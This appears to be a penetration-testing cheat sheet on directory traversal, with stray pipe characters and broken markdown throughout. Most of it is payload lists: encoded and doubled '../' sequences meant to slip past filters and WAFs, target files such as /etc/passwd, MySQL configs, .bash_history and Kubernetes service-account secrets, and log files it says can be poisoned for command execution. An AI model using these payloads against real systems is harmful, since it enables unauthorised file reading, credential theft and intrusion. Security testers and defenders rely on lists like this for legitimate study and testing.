# Directory traversal
|
|
|
|
> A directory or path traversal consists in exploiting insufficient security validation / sanitization of user-supplied input file names, so that characters representing "traverse to parent directory" are passed through to the file APIs.
|
|
|
|
## Summary

|
|
|
* [Basic exploitation](#basic-exploitation)
|
|
* [Path Traversal](#path-traversal)
|
|
|
|
## Basic exploitation
|
|
|
|
We can use the `..` characters to access the parent directory, the following strings are several encoding that can help you bypass a poorly implemented filter.
|
|
|
|
```powershell
|
|
../
|
|
..\
|
|
..\/
|
|
%2e%2e%2f
|
|
%252e%252e%252f
|
|
%c0%ae%c0%ae%c0%af
|
|
%uff0e%uff0e%u2215
|
|
%uff0e%uff0e%u2216
|
|
```
|
|
|
|
16 bit Unicode encoding
|
|
|
|
```powershell
|
|
. = %u002e
|
|
/ = %u2215
|
|
\ = %u2216
|
|
```
|
|
|
|
UTF-8 Unicode encoding
|
|
|
|
```powershell
|
|
. = %c0%2e, %e0%40%ae, %c0ae
|
|
/ = %c0%af, %e0%80%af, %c0%2f
|
|
\ = %c0%5c, %c0%80%5c
|
|
```
|
|
|
|
Sometimes you encounter a WAF which remove the "../" characters from the strings, just duplicate them.
|
|
|
|
```powershell
|
|
..././
|
|
...\.\
|
|
```
|
|
|
|
Double URL encoding
|
|
|
|
```powershell
|
|
. = %252e
|
|
/ = %252f
|
|
\ = %255c
|
|
```

|
|
/etc/passwd
|
|

|
|
/etc/hosts
|
|
/etc/motd
|
|
/etc/mysql/my.cnf
|
|

The following log files are controllable and can be included with an evil payload to achieve a command execution
|
|
|
|
```powershell
|
|
/var/log/apache/access.log
|
|
/var/log/apache/error.log
|
|
/var/log/httpd/error_log
|
|
/usr/local/apache/log/error_log
|
|
/usr/local/apache2/log/error_log
|
|
/var/log/vsftpd.log
|
|
/var/log/sshd.log
|
|
/var/log/mail
|
|
```
|
|
|
|
Other easy win files.
|
|
|
|
```powershell
|
|
/home/$USER/.bash_history
|
|
/var/run/secrets/kubernetes.io/serviceaccount
|
|
```
